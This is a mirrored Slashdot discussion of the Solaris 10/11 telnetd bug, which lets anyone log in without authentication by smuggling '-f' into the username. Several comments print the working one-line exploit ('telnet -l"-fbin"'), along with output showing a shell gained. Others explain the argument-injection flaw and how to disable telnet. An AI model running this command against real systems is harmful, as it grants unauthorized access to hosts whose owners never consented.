Slashdot Mirror


Solaris Telnet 0-day vulnerability

philos writes "According to SANS ISC, there's a vulnerability in Solaris 10 and 11 telnet that allows anyone to remotely connect as any account, including root, without authentication. Remote access can be gained with nothing more than a telnet client. More information and a Snort signature can be found at riosec.com. Worse, this is almost identical to a bug in AIX and Linux rlogin from way back in 1994."

32 of 342 comments (clear)

  1. Re:Why is this a big deal? by drsmithy · · Score: 3, Informative

    Who the hell even THINKS about enabling telnet on any box these days?

    Sun, apparently, since it's enabled by default.

  2. Re:Here come the fanboys by SatanicPuppy · · Score: 4, Informative

    Just because it's not deployed in many places, doesn't mean that those places aren't cracker dream targets...I've got 5 Solaris machines, and the least critical of them is a far better target than the most critical Windows, or even Linux box.

    Still, first poster is right. Wtf uses telnet anymore, unless they're dealing with the most legacy of legacy crap.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  3. Re:Telnet? by Anonymous Coward · · Score: 1, Informative

    AiX 5.3 has telnet enabled by default.

  4. Re:Telnet? by Anonymous Coward · · Score: 2, Informative

    Can anyone confirm if telnet is enabled by default on Solaris for new installs?

    It is on the 06/06 release of Solaris 10.

  5. Re:Telnet? by Anonymous Coward · · Score: 3, Informative

    Solaris 8, 9, 10 -- all have telnet, ftp, rlogin and others enabled by default at a clean install.
    You can check it for yourself in vmware, if you do not believe.

  6. OpenSolaris as a development model by lewiz · · Score: 1, Informative

    This seems to be a good example of both the benefits and drawbacks of an open development model.
    The good news is that a third party has informed Sun of the info, who will now fix it.
    The bad news is that we have no idea how long people have known about this problem...

  7. Re:Why is this a big deal? by Nasarius · · Score: 3, Informative

    Quicker than SSH? What the hell? Are you streaming video over your SSH connection or what?
    I think GP is referring to the initial connect handshake. Oh no, it takes an extra 500ms to establish a secure connection. If your network is private enough to feel safe using telnet, you can certainly set up RSA/DSA keys to use SSH without a password, eliminating the time it takes to enter it.
    --
    LOAD "SIG",8,1
  8. Re:Configuration issue by walt-sjc · · Score: 4, Informative

    Since apparently Sun is negligent enough to have telnet enabled by default, it is an important story. This reminds me of the old NT4 days, where every service on the machine was enabled by default, and the first thing you had to do was turn everything off. Come on Sun, get with program here...

  9. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Informative

    Well, the encryption will still add a level of overhead to your packet traffic, so the whole thing will be "slower" but, from experience, you can play Zangband in either one and you'll still have to turn the key delay way up to keep it from getting you killed, and that's about the most bandwidth intensive application I've ever run in ssh that could have been run just as well in telnet.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  10. Re:0-day? by walt-sjc · · Score: 4, Informative

    No, zero day means that an exploit was released before or on the same day as the vendor / community found out about it. Ethical security researchers notify the vendor first, and at LEAST give them a few days / weeks to resolve the problem before releasing the full details to the public.

  11. Re:Why is this a big deal? by SatanicPuppy · · Score: 2, Informative

    Just to nitpick, nothing is secured by telnet. Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  12. Re:Why is this a big deal? by dknj · · Score: 5, Informative

    except it's not... (at least not as of the 10/06 release)

  13. Re:Is it a buffer overflow? by donicer · · Score: 2, Informative

    http://erratasec.blogspot.com/

    Its not a buffer overflow, its just unvalidated input.

  14. Re:Here come the fanboys by SatanicPuppy · · Score: 5, Informative

    Sure, but that's not what's being discussed. There is a world of difference between using telnet to fake some other non-encrypted protocol, and leaving the telnet service enabled on your machine.

    --
    ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
  15. The Exploit by biftek · · Score: 3, Informative

    Since noone seems to have bothered posting it yet, "telnet -l -frandomuser randomsolarishost".

    So stupid.

  16. Re:Configuration issue by zdzichu · · Score: 4, Informative

    The article talks about Solaris 10 u1 released in 2005. The latest thing is u3, which has two things:

    1) this attack does not work:

    Escape character is '^]'.
    Not on system console
    Connection closed by foreign host.

    2) when installing U3 one can opt to close most services. This could be also done after installation with "netservices limited" command.

    --
    :wq
  17. Re:Why is this a big deal? by Zan+Lynx · · Score: 2, Informative

    I know of at least one large site that uses telnet and other unencrypted protocols. They do use password + token encrypted authentication, but that is the exception. Their security policies are Orwellian. Their IDS watches everything. Encrypted sessions are assumed to be evil, and are hunted down and killed. The rest is matched against statistical usage patterns and off-pattern usage is popped up to a security administrator with a complete session trace.

    That is all internal of course. Off-site access is through VPN.

    All of this could not be easily done with encrypted protocols.

  18. Didn't work on Solaris 10 01/06 by jaymzter · · Score: 4, Informative

    rhlinux1:~$ telnet -l"-froot" solaris
    Trying 172.16.141.27...
    Connected to solaris.example.com (172.16.141.27).
    Escape character is '^]'.
    Not on system console
    Connection closed by foreign host
    This is basically a vanilla install.
    --
    If thou see a fair woman pay court to her, for thus thou wilt obtain love
    1. Re:Didn't work on Solaris 10 01/06 by Anonymous Coward · · Score: 3, Informative

      telnet -l"-fbin" solaris

    2. Re:Didn't work on Solaris 10 01/06 by jaymzter · · Score: 2, Informative
      That did work. One correction however... I'm using Solaris 10 11/06, not 01/06

      rhlinux1:/09:01:01~$ telnet -l"-fbin" solaris
      Trying 172.16.141.27...
      Connected to solaris.jaymzworld.test (172.16.141.27).
      Escape character is '^]'.
      Sun Microsystems Inc. SunOS 5.10 Generic January 2005
      $ uname -a
      SunOS solaris 5.10 Generic_118855-33 i86pc i386 i86pc
      $ id
      uid=2(bin) gid=2(bin
      I ran the following to disable telnet
      inetadm -d svc:/network/telnet:default
      --
      If thou see a fair woman pay court to her, for thus thou wilt obtain love
  19. Re:Why is this a big deal? by 99BottlesOfBeerInMyF · · Score: 5, Informative

    Who the hell even THINKS about enabling telnet on any box these days?

    Sadly, a whole lot of people. I work for a company that makes very expensive and cool specialty servers that perform certain security related functions. As a security company, naturally we take care not to tarnish our reputation by leaving these servers vulnerable themselves. We try to encourage our customers to be moderately responsible as well, as any box can be made insecure. I know of at least on tier-1 ISP that has one of our boxes sitting publicly accessible with telnet enabled and no IP access restrictions.

    As for who uses telnet in general, most ISPs in Asia seem to use telnet to configure their systems via their control networks. Large financial institutions in Europe use telnet, as use of encryption is restricted on their trusted networks, for reasons of transparency to the stock regulating authorities. ISPs in South America often use telnet and provide shell accounts to customers. I'm sure there are more groups that use it for one reason or another.

  20. I run telnet.... by dnormant · · Score: 2, Informative

    While I'm upgrading openssl or ssh. It's a pain getting lock out of a server and having to resort to the console. And, I never forget to disable it when I'm done.

  21. Re:Why is this a big deal? by udippel · · Score: 2, Informative

    Whatever the SUNny fanboys have / had to say:
    Only in Solaris 10 11/06 was it disabled, and only if SBD was selected.
    This sheds a wholly new light on 'Secure By Default':
    Disabling telnet ! Yahoo ! - if SBD is set.

  22. Re:Why is this a big deal? by TheGratefulNet · · Score: 2, Informative

    its NOT 500ms on my cisco boxes.

    admittedly, they'd old 'test' junker boxes that I use for netmgt testing. I had to write some expect style scripts to login to them, throw a command, get the buffer output, parse it and disconnect. for each kind of 'thing' I wanted to remotely retrieve.

    it took over 20 secs, on SOME cisco boxes, to get a ssh prompt back.

    quite unacceptable.

    then I used telnet and it was almost instant.

    again, if you secure your lan (my 10' piece of PRIVATE WIRE) there is NOTHING wrong with telnet. nothing.

    people don't always need to lock EVERY door. if I own my own house, why the hell should I lock my bedroom door?? ;)

    use sense, people. the knee-jerk reaction to 'OMG!! telnet!!' is just absurd. if you use it in a private network, its fine.

    btw, I just tested that solaris exploit on my sun box at work and it did NOT log me into root. not sure if my box was already patched (another group maintains it) but the exploit did not log me into root.

    # uname -a
    SunOS myhost 5.10 Generic sun4u sparc SUNW,Sun-Blade-1500

    # uptime
        7:07am up 281 day(s), 22:51, 2 users, load average: 0.03, 0.20, 0.19

    otoh, with an uptime like that, I kind of doubt any patching was done... ;)

    --

    --
    "It is now safe to switch off your computer."
  23. Re:Why is this a big deal? by jaymzter · · Score: 3, Informative

    I have 11/06, and believe me, I was surprised to find telnet enabled.

    --
    If thou see a fair woman pay court to her, for thus thou wilt obtain love
  24. Re:Why is this a big deal? by arth1 · · Score: 3, Informative

    Since the exploit site didn't yet have information about older versions of Solaris/SunOS, I hope it can quench the panic for some when I say that only Solaris 10+ appears to be affected.

    If you're on Solaris 8 (SunOS 5.8 or Solaris 2.5.8) or 9 (SunOS 5.9, or Solaris 2.5.9), you appear to be safe.

    This is relevant because large companies seldom jump to the newer versions until they have to - for production systems, as long as the older versions are supported and working, that's more important than gambling on existing software still working if upgrading the OS. So there's an awful lot of systems with Solaris 8 and 9 out there, but luckily they appear not to be affected.

  25. Re:Configuration issue by moyix · · Score: 3, Informative

    This is only because root is not allowed to log in remotely by default. "-fanyotheruser" will still work. I believe the current favorite is "-fbin". Also, if you've commented out the console line in /etc/default/login, it will allow access to root.

    This has been confirmed on the latest version of Solaris 10.

  26. Re:Configuration issue by AtariDatacenter · · Score: 2, Informative

    > Escape character is '^]'.
    > Not on system console
    > Connection closed by foreign host.

    Reason that message happened: You succesfully logged in as root. However, /etc/default/login specified that root logins may only be made from the console. Feel free to telnet in as any other user.

    And for the people saying, "OMG! Who uses telnet anymore?!?!", remember that with Solaris (at least up until my experience with 10), it comes out of the box with Telnet *enabled*. It isn't people who enabled telnet that are at risk. It is the people who didn't disable telnet (and other services) that at are at risk. Of course, those aren't going to be your best and brightest security people, and they may be slow on patches, so yeah, this is a big deal.

  27. Re:Why is this a big deal? by evilviper · · Score: 3, Informative

    Just because the login is "safe" doesn't mean that using an unencrypted protocol is ever a good idea.

    You're right... No more secure websites for you, since HTTPS is just HTTP over an SSL data stream.

    You could just as easily use Kerberos to encrypt HTTP traffic as SSL, and that is indeed exactly what Kerberos does for just about any communications protocol...

    Kerberos telnet is as encrypted as it gets.
    --
    Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  28. Re:Here come the fanboys by aymanh · · Score: 2, Informative

    erm... never used telnet to test mail|web|etc-server-connection?

    Not anymore, netcat is a better replacement for creating sockets. One of its advantages is the ability to listen to ports.
    --
    python>>> q="'";s='q="%c";s=%c%s%c;print s%%(q,q,s,q)';print s%(q,q,s,q)
  29. Re:Here come the fanboys by Matt+Perry · · Score: 2, Informative

    erm... never used telnet to test mail|web|etc-server-connection?

    Doing that uses a telnet client. This article is about a telnet server.
    --
    Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
  30. Re:MUDs ok? by fizbin · · Score: 2, Informative

    Short answer: yes

    Long answer: Even if there were a breach in the security of your mud, it would only allow access as the user running the mud daemon. Usually that isn't root. (with telnetd, of course, it usually is root)

    Longer answer: The specific vulnerability here covers the way that telnetd passes arguments to the program login. Specifically, it passes what telnetd thinks is a parameter, but login interprets the passed result as an option. Presumably, your MUD server isn't turning around and calling external programs with the login name of the user who just connected. Besides, almost all MUD servers ignore nearly all telnet options anyway.

    This illustrates one of the great big rules about secure unix programming: when invoking some other program with user-supplied arguments, always be very keenly aware that many programs interpret arguments beginning with "-" to mean "radically alter your behavior". Altered behaviors are usually bad news, security wise: in this case, the login program treats an argument beginning with "-f" to mean "no authentication required". One traditional way to avoid these problems is to pass an argument consisting of "--" before the user-supplied arguments; another way is to assume that anyone arranging for a user-supplied argument beginning with "-" is trying something bad, and simply refuse any such requests.

    As another example of this general principle, it used to be the case that many man2html gateways allowed users to pass arbitrary arguments to the man(1) command. Now, this did allow the convenience of passing "-k" as the section to do a search, but it also allowed the security nightmare of "-Pprogram" to run an arbitrary program on the target machine. You really don't want it to be possible for external users to pass arbitrary options to other programs.